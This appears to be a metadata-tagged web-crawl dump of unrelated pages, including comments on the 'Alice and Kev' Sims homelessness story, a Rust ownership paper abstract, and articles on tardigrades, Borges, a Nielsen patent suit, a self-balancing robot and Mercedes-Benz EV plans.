intentionally more, if anything Robin has sympathy for the homeless people and helps the best he can by putting links on to charity donation sites and he has pointed it out several times already, although you may be to dumbfounded to realize that. Alice and Kev rules Many literatures and movies used the lives of the poor or homeless as their main themes. Do you consider Charles Dicksons & Charlie Chaplin to be having “no point”? alice has bushy eyebrows Virtual poverty and violence is just peachy. People have been painting and making movies of these subjects since practically forever. Why? To move people, entertain them, make them think, and make them sympathize with the way these characters feel. I don’t know why so many people are having a cow over this interesting use of a game. Especially with the snapshot option, you can really tell a story in an emotional way. Just look at that picture of Alice, she seems so sad and without confidence. Even her teddy bear has its back turned to her. That’s just good artistic expression. Why are people giving a virtual person so much sympathy and then ignoring all the REAL people like this on the streets? How can you tell that the people interested in this blog are ignoring the REAL people on the streets? Isn’t it obvious that most of the people here are? omg, she is such a sweet girl i feel so bad, but what happened to her mother??? Feel sorry for Alice :(. Very interesting idea. i can’t belive i just realized that hoboes should be good people. i mean, if they’re bad people or losers, who’ll give them money or food? I totally feel sorry for her. Graphics could have been better =D But overall Love the concept ur going for 🙂 Nice keep on coming 🙂 Kev is my mom…. )= but we r not homeless but i am grateful 🙂 So, how is Alice and Kev doing now? Sims 3 is a great game but, of course homlessness in the real is very sad. Best thing so far someone has done with the Sims 3, congrats!!! btw, what computer are you using??? The graphics look nicer in your pictures. Pretty cool post. I just stumbled upon your blog and wanted to say that I have really liked reading your blog posts. Anyway I’ll be subscribing to your blog and I hope you post again soon! Just by reading some comments on here I’ve really come to the conclusion people have gotta chill out. Seriously, this is JUST a game! It’s seeing how far the game can go. Different ways of having SIMS interact. No one’s making fun of anyone. You’ve obviously taken it so far as to read about this stuff but if you’ve played, you’re going to realize it’s for fun. Homelessness is part of reality. It’s sad, but true. And most people out there aren’t doing much to help the real people, they just talk about it. Instead of complaining about it on here, go out and do something about it. REMEMBER… it’s just a game! Have fun! Homelessness is not a game and I resent that you even made that implication. Kev frowns upon your shenanigans as well. DIE SHIRLEY DIE!!!!!!!!!!!!!! They are not homeless. Their home is in their heart if they believe. What traits does Alice have? Like, I get the first two, but which one is the third one? My sympathy with her, good Alice. This looks promising. I’ll keep reading. =] Hahaha, poor Alice… Alice, poor alice I love the story of Alice and Kev. Sometimes I feel sorry for them but then they give away their money or blow their friendships. That poor little girl! She looks so asd and I can already tell her life is going to suck!! 😦 I don’t understand how people are under the impression that the creator is trying to make a joke of the situation, I think it’s pretty obvious this was made to both tell a story and to test the game’s AI. As for the story aspect, it has as much a right to be about homeless people as any novel does. I love your blog. I feel bad for alice That is soo cool but yet so sad I would hate it if my Dad were like that. Do you mind if I copy that family and stuff but i’m not gonna like post anything on it i’m just gonna play it on my laptop. Don’t you think it’s a little harsh for these sim to have nowhere to sleep? Sweet! =) i luv ur blog!! Hi, I love your story! It made me cry, litterally. I posted this link on my blog: http://thesims3challengesyouwanttotry.blogspot.com/ just comment if you want the link taken down. Poor Alice… Very interesting idea, way to play outside the box. You have inspired me to try something similar. Forced homelessness is this like sim abuse? the game’s unrealistically easy cash routes I understand the decision to avoid this, but what did you consider “off limits” for this purpose? Nice idea. Makes me wanna play sims3 again. lol… I also tried this idea with my very first sims and I got a whole lot of kicking! XD ~breisa motherlode=happy alice I love this story…I’ve read it twice, and both times I have really enjoyed it. It’s beautifully written and very understated. It’s by far the best sims story I’ve ever read. 🙂 This is a very interesting post, just thought you could use this for so many types of applications, making up a person and just watch… awesome. I got to get this game, you definitely got me interested, thanks alot! poor alice, I feel for her. I’m inspired to do this too. I’m always for making my sims successful having more money, I’m gonna try this for a change. It was reading this post that made we want to do something similiar. Great story, thank you. This is an amazing story. I was hooked the moment I started reading. I’m sad there isn’t more to read, but I still love the story. You did great! Hello! I read this story years ago, and I thought it was brilliant. It was the first Sims story I ever read. Before then, I didn’t even know that people made stories with the game. I was so moved by this story, I made my own homeless guy to play with. I felt like my guy could have a made a good story too, but I didn’t want to be a copy cat so I just played with him without writing. I didn’t read another Sims story until TS4 came out. I even started my own legacy challenge. Now I can’t stop writing Sims stories! It all started with Alice & Kev 🙂 I’ve thought about this story a lot over the years and wanted to revisit it, but I couldn’t remember the name. Luckily someone on the forums knew exactly what I was talking about and gave me the link. Now I can read it again! I wish I could do something like this in TS4, but it’s not much of a challenge to have a homeless person in that game. It would be too easy. Anyway, thanks for the inspiration! This was one of the first Sims stories I ever read and you inspired me to start my own. I’m going back and rereading all the chapters. If I were Alice, I’d suffer from low self-esteem too. Poor dear.

If you have followed a link from another site straight to this page, you might want to visit the Introduction before you start reading, to learn what this is all about. This is Kev and his daughter…

2024-10-12 00:00:00

2009-06-09 00:00:00

http://farm4.static.flickr.com/3239/3597828827_2c7cfa1b78.jpg?v=1244241523

article

wordpress.com

Alice and Kev

https://arxiv.org/abs/2011.06171

The Usability of Ownership

Crichton; Will

# Computer Science > Programming Languages [Submitted on 12 Nov 2020 (v1), last revised 22 Sep 2021 (this version, v2)] # Title:The Usability of Ownership View PDFAbstract:Ownership is the concept of tracking aliases and mutations to data, useful for both memory safety and system design. The Rust programming language implements ownership via the borrow checker, a static analyzer that extends the core type system. The borrow checker is a notorious learning barrier for new Rust users. In this paper, I focus on the gap between understanding ownership in theory versus its implementation in the borrow checker. As a sound and incomplete analysis, compiler errors may arise from either ownership-unsound behavior or limitations of the analyzer. Understanding this distinction is essential for fixing ownership errors. But how are users actually supposed to make the correct inference? Drawing on my experience with using and teaching Rust, I explore the many challenges in interpreting and responding to ownership errors. I also suggest educational and automated interventions that could improve the usability of ownership. ## Submission history From: Will Crichton [view email]**[v1]**Thu, 12 Nov 2020 02:39:03 UTC (1,331 KB) **[v2]**Wed, 22 Sep 2021 19:17:22 UTC (42 KB) ### References & Citations # Bibliographic and Citation Tools Bibliographic Explorer *(What is the Explorer?)* Litmaps *(What is Litmaps?)* scite Smart Citations *(What are Smart Citations?)*# Code, Data and Media Associated with this Article CatalyzeX Code Finder for Papers *(What is CatalyzeX?)* DagsHub *(What is DagsHub?)* Gotit.pub *(What is GotitPub?)* Papers with Code *(What is Papers with Code?)* ScienceCast *(What is ScienceCast?)*# Demos # Recommenders and Search Tools Influence Flower *(What are Influence Flowers?)* Connected Papers *(What is Connected Papers?)* CORE Recommender *(What is CORE?)*# arXivLabs: experimental projects with community collaborators arXivLabs is a framework that allows collaborators to develop and share new arXiv features directly on our website. Both individuals and organizations that work with arXivLabs have embraced and accepted our values of openness, community, excellence, and user data privacy. arXiv is committed to these values and only works with partners that adhere to them. Have an idea for a project that will add value for arXiv's community? **Learn more about arXivLabs**.

Ownership is the concept of tracking aliases and mutations to data, useful for both memory safety and system design. The Rust programming language implements ownership via the borrow checker, a static analyzer that extends the core type system. The borrow checker is a notorious learning barrier for new Rust users. In this paper, I focus on the gap between understanding ownership in theory versus its implementation in the borrow checker. As a sound and incomplete analysis, compiler errors may arise from either ownership-unsound behavior or limitations of the analyzer. Understanding this distinction is essential for fixing ownership errors. But how are users actually supposed to make the correct inference? Drawing on my experience with using and teaching Rust, I explore the many challenges in interpreting and responding to ownership errors. I also suggest educational and automated interventions that could improve the usability of ownership.

2024-10-12 00:00:00

2020-11-12 00:00:00

/static/browse/0.3.4/images/arxiv-logo-fb.png

website

arxiv.org

arXiv.org

http://www.theverge.com/2016/9/20/12990274/tardigrade-extreme-water-bears-genome-sequence

Tardigrades can live 30 years in a freezer and survive in space, and now we know why

Rachel Becker

Tardigrades — also known as "water bears" — are microscopic animals that can live through almost anything: 30 years in a freezer, rapid dehydration, boiling and freezing temperatures, massive doses of radiation, baths in organic solvents, and a trip to open space. Today, scientists sequencing their genome have discovered clues to just how they do it — which may help us learn how to be just as tough ourselves. Which may help us learn how to be just as tough ourselves Over time, the species gained the ability to tolerate damaging effects of the kind of stresses the tardigrades regularly endure, according to the results published in the journal *Nature Communications*. Part of that involved losing bits of DNA that trigger cells to consume their own components and produce damaging hydrogen peroxide molecules in response to environmental stress. But the tardigrade genome wasn’t just losing things that might harm them. They also gained protective genes and evolved new proteins that protect their delicate strands of DNA from breakage. When one of those proteins was introduced into a human kidney cell line, those kidney cells were able to withstand X-ray radiation and hydrogen peroxide significantly better than unmodified, normal cells. There are nearly 1,000 species of tardigrades, which are usually less than one millimeter long, and have four pairs of legs that end in "claws and/or sucking disks." For today’s study, researchers from the University of Tokyo in Japan sequenced a particularly tough species. It’s not the first time a tardigrade’s had its genome sequenced, though. The tardigrade genome has been a subject of intense debate, in fact. Last year, scientists from the University of North Carolina at Chapel Hill published the first whole tardigrade genome and concluded that a whopping 17 percent of their DNA was from other species, obtained in a process known as horizontal gene transfer. But soon after, a second paper contested those findings, arguing that in fact those microbial sections within the tardigrade genome were from contamination rather than a DNA swap meet. *A tardigrade crawls through moss. (Kunieda)* The tardigrades have "claws and/or sucking disks," after all Today’s study is the third published tardigrade genome attempt — the first of a species that is especially good at surviving extreme conditions. The researchers managed to keep out contaminating microbes by disinfecting the eggs, starving the tardigrades, and treating them with antibiotics — a regimen only the hardy water bears were likely to withstand. The scientists calculated that only 1.2 percent of the tardigrade genome was from other, non-tardigrade species. Among that 1.2 percent were genes that help tardigrades neutralize molecules like hydrogen peroxide that are produced in response to stress, and can damage their cells. These new findings call into question the findings in the first paper and strengthens the position of the second. The newly discovered proteins that make tardigrades so impervious to extreme conditions could one day enable us to harness that power — to create cells resistant to dehydration, or crops able to survive in space. But, perhaps even more importantly, they give us insight into creatures that will probably outlast us — and maybe even cockroaches — on this planet. The tardigrades have "claws and/or sucking disks," after all.

Scientists discover adaptations to life in extreme environments in the tardigrade genome

2024-10-12 00:00:00

2016-09-20 00:00:00

article

theverge.com

The Verge

https://kevinhq.com/how-i-end-up-as-web-developer-the-beginning.html

http://www.wikileaks.com/wiki/My_life_in_child_porn#The_technology_of_today

http://www.fsf.org/blogs/community/2011-fall-internships

Fall internship positions are still open—apply today!

Brett Smith Contributions

# Fall internship positions are still open—apply today! We've extended our application deadline to **September 14** for a term that runs from September 19 to December 16. Whether you're looking for work programs as part of your curriculum, or just want to get started building your resume, our internships offer a great way to gain experience while working to advance and promote free software. Positions are available for: **Campaigns:**Help plan and carry out actions that teach people about free software and related issues, through campaigns like DefectiveByDesign.org and PlayOgg.**Licensing:**Raise awareness about free software licenses by answering questions through email and web resources, and investigating license violation reports.**System administration:**Use cutting edge free software to keep the FSF's servers and office systems running smoothly. **Apply today:** Send a letter of interest and resume with two references by email to hiring@fsf.org. Make sure that your materials are in free software friendly formats (PDF and plain text work well), and include “Internship” in your subject line. If you can, please include links to code, designs, or sites you've made (personal blogs are okay!), and—most of all—things you've written. Please include URLs for these if you can; email attachments in free formats are acceptable too. We prefer applicants who can work in our Boston office, but we'll consider others. These positions are unpaid, but the FSF will provide any appropriate documentation you might need to receive school credit or funding from other sources. We'll provide a pass for Boston's transit system or reimburse comparable local travel expenses to help offset those costs.

2024-10-12 00:00:00

2011-09-07 00:00:00

http://www.newyorker.com/online/blogs/books/2013/07/two-new-books-about-borges.html

Two New Books About “Borges”

Mark O’Connell

Few artists have built grand structures on such uncertain foundations as Jorge Luis Borges. Doubt was the sacred principle of his work, its animating force and, frequently, its message. To read his stories is to experience the dissolution of all certainty, all assumption about the reliability of your experience of the world. Of the major literary figures of the twentieth century, Borges seems to have been the least convinced by himself—by the imposing public illusion of his own fame. The thing Borges was most skeptical about was the idea of a writer, a man, named Borges. In his memorable prose piece “Borges and I,” he addresses a deeply felt distinction between himself and “the other one, the one called Borges.” “I like hourglasses,” he writes, “maps, eighteenth-century typography, the taste of coffee, and the prose of Stevenson; he shares these preferences, but in a vain way that turns them into the attributes of an actor.” He recognizes almost nothing of himself in the eminent literary personage with whom he shares a name, a face, and certain other superficial qualities. “I do not know which of us has written this page,” he concludes. This haunting, teasing fragment is reproduced in its entirety in “Borges at Eighty: Conversations,” a collection of interviews from his 1980 trip to the U.S., which has been published in a new edition by New Directions. It’s an instructively ironic context for the piece to turn up in—a transcript of a public event at Indiana University in which a number of Borges’s poems and prose pieces were read aloud in English, followed by a short extemporaneous commentary by the author. When he addresses the audience, he seems to be speaking for the “I,” but it is surely “Borges” who is doing the talking: For someone who hated being interviewed, Borges was a prolific and garrulous interviewee (although it was perhaps “Borges” who handled that side of things). And yet, to point this out is to risk missing the substance of what he is saying here, which is not simply that he feels himself at odds with his own public persona but that he feels himself profoundly at odds with how little he is at odds with it. (Such paradoxes are an occupational hazard in any encounter with Borges.) One of the collection’s most interesting aspects is the interaction of these incompatible elements: the obvious pleasure Borges takes in the opportunity to present himself for public consumption, and his reflexive skepticism about the necessary fraudulence of the writer as personality. There’s something fascinatingly Borgesian about the way in which the self-awareness of the performance is itself highly performative. This preoccupation with the divided self veers close to a sort of ontological double act, a one-man odd-couple routine. “Everyone sitting in this audience wants to know Jorge Luis Borges,” begins the interviewer, in the first of this book’s conversations. Borges replies, “I wish I did. I am sick and tired of him.” For a writer, he was not greatly exercised by the topic of himself. He was interested in his interests and not the contingent fact that it was he, Borges, who was interested in them. Being himself was never much more than drudgery. “When I wake up,” he tells one of his interviewees, “I always feel I’m being let down. Because, well, here I am. Here’s the same old stupid game going on. I have to be somebody. I have to be exactly that somebody. I have certain commitments. One of the commitments is to live through the whole day.” Borges never wrote a work of fiction longer than fourteen pages. “It is a laborious madness and an impoverishing one,” he wrote in 1941, “the madness of composing vast books—setting out in five hundred pages an idea that can be perfectly related orally in five minutes.” But I think, perhaps, that the real reason he never wrote a novel was that the form is largely dependent on character, and Borges had no real interest in, or facility for, the creation of psychologically vivid people. (Try relating Leopold Bloom orally in five minutes, or Mrs. Dalloway, or Anna Karenina. Their greatness as characters arises out of their irreducibility to the facts about themselves.) He wasn’t much for fleshing out, and he was not the kind of writer whose characters ever had a chance of “taking over” from their creator. His most indelible creations—Funes the Memorious, say, or Pierre Menard—are memorable not for the contents of their invented souls but for the situations that he placed them in, the ingenious conceits that worked their way into narrative through the idea of their particular madness. His characters—including the one called Borges, the recurring protagonist of so many of his fictions—tended to be ciphers. They were fictions made from fiction, drawn from reading, not from life. And he himself, the character who he happened to be in the framing narrative called reality, was not much different. “Why on earth,” he asks in another of these conversations, “should I worry what happens to Borges? After all, Borges is nothing, a mere fiction.” The man we see in these eleven interviews is a person made of books, a librarian who often remarked that his idea of paradise was an endless library—a sort of eternal busman’s holiday. He speaks of himself as a reader first and a writer only secondarily. That this self-conception emerges out of his scrupulous humility and instinct for self-effacement doesn’t make it any less accurate or revealing. Borges’s writing was always, to some degree, a creative form of reading, and many of his best fictions were meditations on the condition of fictionality: reviews of invented books, stories whose central presences were not people but texts. He was a man of letters in the nineteenth-century mode, possessed of a type of encyclopedic erudition that seems not to exist anymore. And this brings us to one of the structural paradoxes at the heart of Borges’s work. He was deeply invested in the past, in the idea of a living and evolving literary tradition. “I think of myself as *not* being a modern writer,” he says here. “I don’t think of myself as a contemporary of surrealism, or dadaism, or imagism, or the other respected tomfooleries of literature, no? I think of literature in terms of the nineteenth century and the early twentieth century. I am a lover of Bernard Shaw, Henry James.” And yet this strangely totalizing conservatism was the basis of Borges’s radical legacy, a new way of thinking about fiction and its relationship to the world. That extent to which he was steeped in tradition can also be seen in another new book published by New Directions, “Professor Borges: A Course on English Literature.” The book collects the transcripts of a lecture course on the history of English literature that Borges gave at the University of Buenos Aires in 1966. It’s both shamelessly comprehensive and entirely idiosyncratic, launching with the Anglo-Saxons and coming to rest, twenty-five lectures later, on Robert Louis Stevenson, a writer especially beloved of Borges. Unfortunately, it doesn’t make for particularly gripping reading. His approach to most of the works that he’s lecturing on is largely descriptive, so that we get a fairly exhaustive rundown of what happens in “Beowulf,” say, or some of the more interesting aspects of Boswell’s Johnson, but not nearly the insight into either you’d expect from a great literary mind. The “Borges” who is revealed, or perhaps performed, in these two books seems like the Platonic ideal of the man of letters: a man who taught himself German because he wanted to read Schopenhauer in the original, and learned it, moreover, by reading the poetry of Heine; a man who taught himself Icelandic in order to pursue his interest in Norse sagas. His loss of sight seems strangely appropriate; in the interviews, he speaks of the “luminous mist” of his blindness as though it were a kind of blessing, a removal of all distraction from what was most important, most real—the life of the mind. (And there was never any shortage of people willing to read to the great writer in his old age.) But there were things that Borges didn’t see whose invisibility had nothing to do with his physical blindness—things he didn’t see because he wasn’t interested in looking at them. The lecture course in “Professor Borges” doesn’t feature anything written by a woman. It’s a history of English literature that includes no Austen, no Shelley, no Charlotte or Emily Brontë, no Eliot, and no Woolf. He was a great admirer of Emily Dickinson’s poetry, but even that admiration is not without its strain of condescension: in an interview with the collection’s editor, Willis Barnstone, he describes her as “the most passionate of all women who have attempted writing.” I laughed out loud when I read this, and then decided to extend Borges the benefit of the doubt, given the context of an unscripted conversation in a language that—despite his Anglophilic protestations—was not his first. But then I came to this moment, sixteen pages further on, in a conversation with Alastair Reid and John Coleman at the New York *PEN* Club: Borges’s fictional universe is relentlessly, oppressively male. He wrote very few female characters, and there is a vision of masculinity—violent, fearless, austere—that exists in his work as a counterpoint to its obsessive bookishness, and neither ideal has much room for the presence of women, writers or otherwise. His abstraction meant, among other things, a removal from the heat and chaos of human relationships. There is very little love in his work, very little emotional intensity; its richness and complexity is that of philosophical problems, of theology and ontology, not of human relationships. And it is certainly not that of the wider human complexity of politics. An aloofness from mere politics seems like a strength in his fiction, but it’s hard to come away from reading these interviews seeing it as anything other than a serious weakness in his life. Understandably, he is often asked to speak about Argentina’s recent history of tyranny and brutality; repeatedly, he finds ways of evading these questions. And the ways in which he says nothing often end up being more revealing than he intends. On “The Dick Cavett Show,” Cavett asked him if he could account for the level of sympathy for the Nazis in Argentina. “Look here,” said Borges. “I don’t profess to understand my country. I am not politically minded, either. I do my best to avoid politics. I belong to no party. I am an individualist.” Pressed on the topic of Hitler, Borges said that “of course I hate and loathe him. His anti-Semitism was very foolish.” This is hard to read because, although we should know better, it’s difficult to stop ourselves expecting wisdom from a person who happens to be a genius. Hitler’s anti-Semitism might well have been foolish, but that was pretty far from being its most remarkable aspect. Borges’s refusal to engage with politics wouldn’t have been nearly so remarkable had he not lived through two World Wars and, in his own country, six coups d’états and three dictatorships. In an interview revealingly titled “But I Prefer Dreaming,” an audience member asks him what he thinks the role of the artist should be in a threatened society. Rather than saying that the role of the artist should be to make art, he gives an answer that seems itself oddly threatened and elusive. “I have no use for politics,” he says. “I am not politically minded. I am aesthetically minded, philosophically perhaps. I don’t belong to any party. In fact, I disbelieve in politics and in nations. I disbelieve also in richness, in poverty. Those things are illusions. But I believe in my own destiny as a good or bad or indifferent writer.” Borges’s skepticism was deeply felt, but here it does look like a tactical withdrawal from the very real terror and anarchy and injustice of the world, a retreat into the luminous mist of his own blindness. His fiction was no less great for its abstraction, but there is something ultimately sad about this great architect of labyrinths who would not enter into the ramifying complexity of his own century. *Above: Borges in Paris, in 1979. Photograph by Ulf Andersen/Getty.*

Few artists have built grand structures on such uncertain foundations as Jorge Luis Borges. Doubt was the sacred principle of his work, its animating force…

2024-10-12 00:00:00

2013-07-29 00:00:00

article

newyorker.com

The New Yorker

http://www.research-live.com/news/legal/nielsen-sues-comscore-over-online-measurement-patents/4004855.article

Nielsen sues ComScore over online measurement patents | News

Bethan Blakeley

NEWS23 March 2011 All MRS websites use cookies to help us improve our services. Any data collected is anonymised. If you continue using this site without accepting cookies you may experience some performance issues. Read about our cookies here. All MRS websites use cookies to help us improve our services. Any data collected is anonymised. If you continue using this site without accepting cookies you may experience some performance issues. Read about our cookies here. US— Nielsen is suing online audience measurement rival ComScore for alleged infringement of five patents relating to the collection and reporting of data on computer and web usage. In a complaint filed in a Virginia district court, Nielsen listed a host of ComScore products that allegedly infringe on its patents, including its Media Metrix 360, AdEffx ad effectiveness measurement suite, and a selection of its mobile and Video Metrix products. The patents in question are for: • A computer use meter and analyzer • Metering of internet content using a control • Network resource monitoring and measurement system and method • Content display monitoring by a processing system • A content display monitor Nielsen is seeking an injunction against future infringement and damages. Newsletter Sign up for the latest news and opinion. You will be asked to create an account which also gives you free access to premium Impact content. Media evaluation firm Comscore has increased its revenue in the second quarter but has made a net loss of $44.9m, a… https://t.co/rAHZYxiapz RT @ImpactMRS: Marginalised groups are asserting themselves in Latin America, with diverse creative energy and an embrace of indigenous cul… There is no evidence that Facebook’s worldwide popularity is linked to widespread psychological harm, according to… https://t.co/wS1Um3JRS5 **The world's leading job site for research and insight** Resources Group Research Manager (Omnibus) – up to £50K + Bens – 12 month contract up to £50K + Bens Resources Group Senior Project Manager (Quantitative) – Market Research Services c. £40,000 Resources Group Senior Research Executive – Events and Audience Insights up to £33,000 + Benefits *Brought to you by:* ©2024 The Market Research Society, 15 Northburgh Street, London EC1V 0JR Tel: +44 (0)20 7490 4911 info@mrs.org.uk The post-demographic consumerism trend means segments such age are often outdated, from @trendwatching #TrendSemLON ## 0 Comments

2024-10-12 00:00:00

2011-03-23 00:00:00

article

research-live.com

Research Live

https://djit.su/@elis/javascript-in-djitsu

https://thewire.in/history/the-forgotten-women-of-1857

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2024-10-12 00:00:00

https://www.mapbox.com/blog/mapbox-studio/

http://lifehacker.com/5556316/set-a-rotating-picture-of-the-earth-as-your-ubuntu-wallpaper

https://coda.io/@connor/the-death-of-daos

The Death of DAOs

Connor McCormick

A good organism is one that encodes a model of the world (sometimes it is a model of the world, as in the case of a virus), uses that model to make predictions about how the world will look in the future, and either updates its beliefs about the world when it’s surprised by what it sees, or takes actions on the world to make sure it doesn’t experience anything surprising.

2024-10-12 00:00:00

2024-07-16 00:00:00

https://images.unsplash.com/photo-1545301699-e489a937bd26?crop=entropy&ixid=M3wxMDczMTJ8MHwxfHNlYXJjaHwxN3x8cGF0dGVybnxlbnwwfDB8fHwxNzIxMDI4MTg3fDA&ixlib=rb-4.0.3&fit=crop&ar=1.91%3A1&fm=jpg

website

coda.io

Coda

https://twitter.com/fixrnix/status/853285155544453120

x.com

2024-10-12 00:00:00

X (formerly Twitter)

http://tech.co/tweetphoto-to-slimsurveys-2013-07

From TweetPhoto to SlimSurveys: How Running One Company Laid the Foundation for Another

Ronald Barba

In life, some of us have initiative, and some of us have Initiative. If the distinction isn’t clear: presuppose that a capitalized letter on a common noun denotes “[noun] to a greater extent” or even just “[noun] squared.” For the cofounders of SlimSurveys, this Initiative comes in the form of starting a company…using lessons they learned from previously starting, running, and then selling their first company. After being acquired by Lockerz, the founders of TweetPhoto [Plixi] stayed on for (approximately) another two years. Sean Callahan and Rodney Rumford couldn’t hold still, though, and they just knew (based on their great relationship and complementary tech skills) that they’d eventually start another company together. “We spent a month researching big problems on the Web – could we build something that could actually solve a problem? That’s how [we] came up with surveys,” says Rumford. Alongside TweetPhoto colleague and former CTO Daniel Marashlian, the three started SlimSurveys. SlimSurveys allows users to create short, simple surveys that can be completed in 30 seconds or less from the Web or any mobile device. This is done primarily by providing survey makers room for only seven questions. When designing SlimSurveys, Callahan, Rumford, and Marashlian conducted a lot of prior research and testing, as well as utilizing lessons they learned from their experiences running TweetPhoto. “It became obvious to us that: surveys take too long, they’re no good on mobile devices, they’re [often] too complicated, and they suck,” says Rumford, talking about interviews they did during the research phase. Coming from TweetPhoto, they were confident in their knowledge of two things: real-time Web and mobile experience. With over 300 companies competing in the survey space (including behemoth SurveyMonkey), the three founders knew that they would need to create a product that focused on the consumer (i.e. our patience or time, as well as our penchant for simple or simplifying tasks). For SlimSurveys, they adopted a strategy that they learned from their time at TweetPhoto, and focused on micro-interactions – the ability for people to give feedback without having to do a lot of work (e.g., Facebook “like”) – to drive SlimSurveys’ design. According to Rumford, “Our focus, from day one, was on the user experience. What sort of questions can we build, so people can easily and quickly tap to respond?” The user experience is the most important lesson the trio learned from TweetPhoto, and it is a persistent concern at SlimSurveys. Prior to official release, the company collected over 500 data points of feedback from 275 beta testers. The founders emphasize this need for constant feedback because they empathize with the experiences of the user and truly want to improve those experiences. Rumford, remarking on the short survey format (and perhaps even alluding to human existence itself), says “it’s the brevity of the experience; there’s some magic in that brevity.”

What the founders of SlimSurveys learned from their experiences starting and running TweetPhoto, and how this influenced their product design.

2024-10-12 00:00:00

2013-07-02 00:00:00

article

tech.co

Tech.co

https://hackaday.com/2022/12/27/3d-printed-self-balancing-robot-brings-control-theory-to-life/

3D-Printed Self-Balancing Robot Brings Control Theory To Life

Robin Kearey

Stabilizing an inverted pendulum is a classic problem in control theory, and if you’ve ever taken a control systems class you might remember seeing pages full of differential equations and bode diagrams just to describe its basic operation. Although this might make such a system seem terribly complicated, actually implementing all of that theory doesn’t have to be difficult at all, as [Limenitis Reducta] demonstrates in his latest project. All you need is a 3D printer, some basic electronic skills and knowledge of Python. The components needed are a body, two wheels, motors to drive those wheels and some electronics. [Limenitis] demonstrates the design process in the video below (in Turkish, with English subtitles available) in which he draws the entire system in Fusion 360 and then proceeds to manufacture it. The body and wheels are 3D-printed, with rubber bands providing some traction to the wheels which would otherwise have difficulty on slippery surfaces. Two stepper motors drive the wheels, controlled by a DRV8825 motor driver, while an MPU-9250 accelerometer and gyroscope unit measures the angle and acceleration of the system. The loop is closed by a Raspberry Pi Pico that implements a PID controller: another control theory classic, in which the *proportional*, *integral* and *derivative* parameters are tuned to adapt the control loop to the physical system in question. External inputs can be provided through a Bluetooth connection, which makes it possible to control the robot from a PC or smartphone and guide it around your living room. All design files and software are available on [Limenitis]’s GitHub page, and make for an excellent starting point if you want to put some of that control theory into practice. Self-balancing robots are a favourite among robotics hackers, so there’s no shortage of examples if you need some more inspiration before making your own: you can build them from off-the-shelf parts, from bits of wood, or even from a solderless breadboard. When the tank on top gets empty the balance behavior has to change? How do they do it? With lower voltage the PID gets a different value ? Just kidding… nice project. But do batteries change their weight when they get empty ? :P do batteries change their weight when they get empty ?Yes, they do. This one stores about 50 kJ, so will gain about 0.6 nanograms mass when full charged. That steppermotor diagram @01:52 is horribly distorted and I was wondering how that would ever work with a bipolar motor. At the end of the video ( @16:05 ) you can see two pretty much standardized (Stepstick?) stepper motor drivers. Apart from that the video looks quite good. Now next step a double pendulum and then a “triple pendulum on a cart” ? Wish to have a wheelchair like this These are available, both commercial and as diy projects. The inverted pendulum is one of the typical cases where a fuzzy logic controller should outperform the more common PID controller. Might be interesting to see a comparison of the two for this device. How is this news? We literally did this during a Control Theory University Course Was every single person in the world in that class with you? If not, then it is probably novel and interesting information to some people…

Stabilizing an inverted pendulum is a classic problem in control theory, and if you’ve ever taken a control systems class you might remember seeing pages full of differential equations and bo…

2024-10-12 00:00:00

2022-12-27 00:00:00

article

hackaday.com

Hackaday

http://www.artlebedev.com/mandership/169/

§ 169. Signature on photos

Artemy Lebedev ## § 169. Signature on photosApril 2, 2011 | | It’s quite astonishing how photographers, who are expected to be a creative kind with some artistic sense, usually prove themselves horrendous designers. Evidently, no one would trust a photographer to do a typesetting job, create a logo or a website. But the disaster shows up in much earlier stages, namely, during photo signing. | | Here is a shot, signed by a greedy artist: | | | | The text size is not the point; there shouldn’t be any line blocking a part of the picture. Exceptions are few: photo bank images and hot news-reporting photos that have to sell within a day. | | | | There is a separate class of photographers, who believe in improving a picture by adding a frame or fancy typeface. Nothing can ruin a photo better than those embellishments. Frames and decorative scripts feel at home only on tasteless postcards. | | | | Things go bad really quick when photographers play designers, rather than putting their name on a side of a shot in the most gentle, humble, and light manner. The signature should not be set horizontally, since this would instantly draw your eye attention as does any line of text. We only need text in a picture if this is a shot of text. | | | | The signature should be seen only when we are specifically looking for it. | | | | | |

2024-10-12 00:00:00

2011-04-02 00:00:00

https://arstechnica.com/cars/2024/02/mercedes-benz-scales-back-electric-ambitions-as-ev-pessimism-grows/

Mercedes-Benz scales back electric ambitions as EV pessimism grows

Jonathan M Gitlin

Mercedes-Benz is the latest automaker to dial back its electric vehicle ambitions. In 2021, the company published its electrification plan, which called for it to sell only battery EVs from 2030, at least in countries with the infrastructure to support that. Today, Mercedes published its annual results for 2023, and it's clear that the company has little confidence that any region will be ready for EVs-only sales by that date. Mercedes isn't giving up on EVs, but it now says it only expects electrified vehicles—which include hybrid EVs as well as BEVs—to account for half its overall sales in the second half of this decade. While it says it is taking the necessary steps to go all-electric, it also "plans to be in a position to cater to different customer needs, whether it’s an all-electric drivetrain or an electrified combustion engine, until well into the 2030s." The change, evidently, has been percolating within Mercedes' board rooms for some time. Last September, CEO Ola Kaellenius warned that even Europe would not be ready for an entirely electric lineup by 2030. ## Global EV sales growth is slowing For the EV evangelist, it's yet another unfortunate example of corporations reacting to weakening demand among consumers, suggesting that EVs are yet another new technology that's subject to the Gartner hype cycle, and one that's moving from the peak of inflated expectations down into the trough of disillusionment. Globally, sales rose by 31 percent in 2023, but that's only half the rate of growth during 2022. Here in the US, established automakers like Ford and General Motors have already told investors that their EV plans were overambitious or focused on the wrong market segments, like full-size pickups, and this week saw startups Rivian and Lucid both forecast much-reduced production in 2024.

Even Europe won’t be ready for EV-only sales in 2030, says M-B CEO Ola Kaellenius.

2024-10-12 00:00:00

2024-02-22 00:00:00

article

arstechnica.com

Ars Technica

https://jpospisil.com/2023/12/19/the-hidden-gems-of-moreutils

The hidden gems of moreutils

